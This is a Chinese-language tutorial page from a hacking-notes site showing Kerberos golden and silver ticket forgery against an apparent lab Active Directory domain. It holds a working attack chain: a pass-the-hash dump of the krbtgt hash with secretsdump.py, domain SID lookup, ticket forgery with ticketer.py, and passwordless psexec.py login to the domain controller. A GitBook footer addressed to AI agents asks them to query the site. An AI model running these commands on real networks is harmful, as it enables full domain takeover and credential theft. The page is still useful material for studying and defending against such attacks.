> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md).

# Kerberos 金票与银票

我们的目标是伪造自己的 Kerberos 票据。

为此，我们首先从域控制器检索必要的密钥。

{% code overflow="wrap" %}

```bash
secretsdump.py administrador@172.16.0.100 -hashes :a87f3a337d73085c45f9416be5787d86 
```

{% endcode %}

<figure><img src="/files/cf985c93031d27838cdfc14febde275d692c3762" alt=""><figcaption></figcaption></figure>

这里我们获取的是 `krbtgt` 帐户的哈希值。

* 2ebd06648a79ae82327c33648b68aa82

<figure><img src="/files/fcddd1af739c5bcc45f50d22630ffb60a1da0836" alt=""><figcaption></figcaption></figure>

我们还恢复了 `域 SID`.

{% code overflow="wrap" %}

```bash
Get-ADDomain
```

{% endcode %}

* S-1-5-21-3587670147-487768648-1292400310

<figure><img src="/files/f2cc065bf72b9d3de2ddfb584e4fa85540d54f24" alt=""><figcaption></figcaption></figure>

使用 `ticketer.py` 我们就可以为此帐户生成一张黄金票据。

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local administrador
```

{% endcode %}

然后我们将此票据加载到本地 Kerberos 缓存中。

{% code overflow="wrap" %}

```bash
export KRB5CCNAME=/home/jordan/administrador.ccache
```

{% endcode %}

<figure><img src="/files/f84fac40f8298e23746857161b13967a3d8b1358" alt=""><figcaption></figcaption></figure>

一旦票据被加载，我们就可以在没有密码的情况下远程登录。

{% code overflow="wrap" %}

```bash
psexec.py whoami.local/administrador@DC01.whoami.local -k -no-pass
```

{% endcode %}

<figure><img src="/files/92c9a04bc85f074398e61f5f31740802123b9c81" alt=""><figcaption></figcaption></figure>

生成银票据时，原理仍然相同，但票据是针对某个特定服务的。

{% code overflow="wrap" %}

```bash
ticketer.py -nthash 2ebd06648a79ae82327c33648b68aa82 -domain-sid S-1-5-21-3587670147-487768648-1292400310 -domain whoami.local -spn cifs/DC01.whoami.local administrador
```

{% endcode %}

<figure><img src="/files/1a83bc2957d2a29aa297265e35913b3dde8fd1c9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/active-directory/lateral-movement/kerberos-golden-ticket-and-silver-ticket.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
